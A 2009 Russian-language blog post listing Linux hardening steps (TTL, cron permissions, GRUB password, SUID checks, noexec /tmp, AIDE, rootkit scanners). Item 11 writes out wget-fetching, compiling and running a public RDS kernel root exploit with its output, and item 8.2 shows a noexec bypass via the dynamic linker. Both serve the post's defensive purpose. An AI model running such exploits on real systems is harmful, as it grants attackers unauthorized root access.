вторник, 27 октября 2009 г.

Повышения безопасности линукса

1). Смена ТТЛ в с 64 на число 128 (Windows) или любое другое /etc/sysctk.conf забить net.ipv4.ip_default_ttl=128, sysctl -p (перегрузка sysctl),
sysctl -a | grep ttl (проверка) - net.ipv4.ip_default_ttl = 128
2). Скрипты которые запускаються в root crontab должны иметь права 700 и владелец root.root - для того чтобы если будет взломан юзер он не смог в них вставить команды смены пароля root (а это будет возможно елси он будет иметь права на запись в них)
3). поставить утилиту logcheck и прописать в cron данную строку
crontab -e
00 23 * * * /usr/bin/logcheck.sh
исключения ненужным сообщений
vim /etc/logcheck/ignore
kernel: martian sourc
smartd*:
mdkapplet*:
postfix*
можно и не ставить logwatch или мандривовские проверки даже лучше 
4).  выключение "Ctrl+Alt+Del" - в файле /etc/inittab закоментить
ca::ctrlaltdel:/sbin/shutdown -t3 -r now
и выполнить /sbin/init -q
5). поиск suid\sgid-файлов с несколькими ссылками
find / -type f \( -perm -004000 -o -perm -002000 \) -links +1 -ls
6). пароль на grub
/sbin/grub в интерактивной оболочке набрать md5crypt, набрать пароль, на экран выведется хеш
в /boot/grub/grub.conf добавить опцию "password --md5 хеш-пароля"
7). tiger - анализатор локальной безопасности, zeppoo находит руткиты, скрытые процессы и соединения, новые системные вызовы и др. используя прямой доступ к памяти ядра с помощью файлов /dev/kmem и /dev/mem
8). недопустить повышения прав пользователем
8.1). su запускают только члены групы wheel
в /etc/pam.d/su добавить "auth       required     pam_wheel.so" после строки "auth       sufficient   pam_rootok.so"
8.2). запус эксплоитов если взломали сервис возможен только из общедоступного /tmp и приватного взломанного сервиса (корневой http, ftp) - выносим их на отдельные разделы и подключаем с опцие noexec, nosuid,nodev
/dev/sda4 /tmp ext3 noexec, nosuid,nodev 0 0
но можно запустить прогу с помощью динамического линковщика
$ /lib/ld-unix.so.5 /tmp/exploit
для противодейсвия нужно ставить патч на ядро RSBAC (www.rcbak.org)
8.3). если эксплоит запустят его можно направить на ядро ОС или программы с SUID-битом. В ядря уязвимость или есть или нет, а снять SUID с программы так:
находим find / -type f \( -perm -04000 -o -perm -02000 \) \-exec  ls {}\;
и лишаем некоторых из них
chmod a-s /путь (внимательно можно завалить систему)
8.4). взломщик может найти доступные для всеобщей записи важные системные утилиты и вставить в них код (пример - опция сетевого сервиса входа без пароля или код срыва стека утилите читающего его)
ищем общедоступные файлы и снимаем бит записи для всех
find /dir -xdev -type d \( -perm 02000 -a ! -perm 1000 \) -print
8.5). файлы пользователя в домашнем каталоге остаются видимыми всем подряд (маска 022)
нужно в ~/.profile записать umask 077
также можно поставить модул ядра Yama, защищающий от многих атак
9). tropwire уступила AIDE (Advanced Intrusion Detection Enviroment), конфиги /etc/default/aide (главный конфигурационный файл) и /etc/aide/aide.conf (правила)
в первом меняем mailto
aide --init - инициализация (создает база, как только система обновилась или что поменялось нужно обновить базу aide --update)
переименовываем базу mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
проверяем систему aide -c /etc/aide.conf --check
хотя проверки будут проходить каждый день через cron не нужно полагатся на систему поскольку взломщик если сможет модифицировать системные файлы для установки бекдора, то он сможет и aide модифицировать - поэтому лучше ее поместить с базой на флешку и запускать руками
cp /var/lib/aide/aide.db* /etc/aide.conf /usr/sbin/aide /media/KINGSTON/aide/aide_robota/
          Особенности redhat es 5.2 (aide-0.11-1.2.el5.rf):
в конфиге /etc/aide.conf отмененно архивирование базы gzip_dbout=no и у баз убрано расширение gz, то есть стали называться aide.db и aide.db.new
создан скрипт (который и вставлен в cron)
#!/bin/bash
/usr/sbin/aide --check
exit 0
          Особенности mandriva 2009.0 (aide-0.13.1-2mdv2009.0):
скрипт /etc/cron.daily/aide и он хочет подписанную базу aide.db.sig
- создадим ключи root:
gpg --gen-key
- подписиваем базу
gpg -b  /var/lib/aide/aide.db
10). программы нахождения руткитов
#chkrootkit
#rkhunter --check
поскольку программ написаны на shell, то используются стандартные утилиты командрой строки (awk, cat, grep, ...) для выполнения проверок, если нет уверенности в их целосности тогда их можно сохранить на флешку и запуск будет такой 
#chkrootkit -p /media/flash
#rkhunter --check --bindir /media/flash
11). Уязвимость ядра - код RDS (Reliable Datagram Sockets)
wget  www.vsecurity.com/download/tools/linux-rds-exploit.c
gcc linux-rds-exploit.c
 ./a.out
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved rds_proto_ops to 0xf85abd20
 [+] Resolved rds_ioctl to 0xf8593090
 [+] Resolved commit_creds to 0xc015e940
 [+] Resolved prepare_kernel_cred to 0xc015eac0
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!
Борьба или обновить ядро или заблокировать загрузку модуля rds (если протокол не используется)
# echo "blacklist rds" > /etc/modprobe.d/blacklist-rds.conf

Комментариев нет:

Отправить комментарий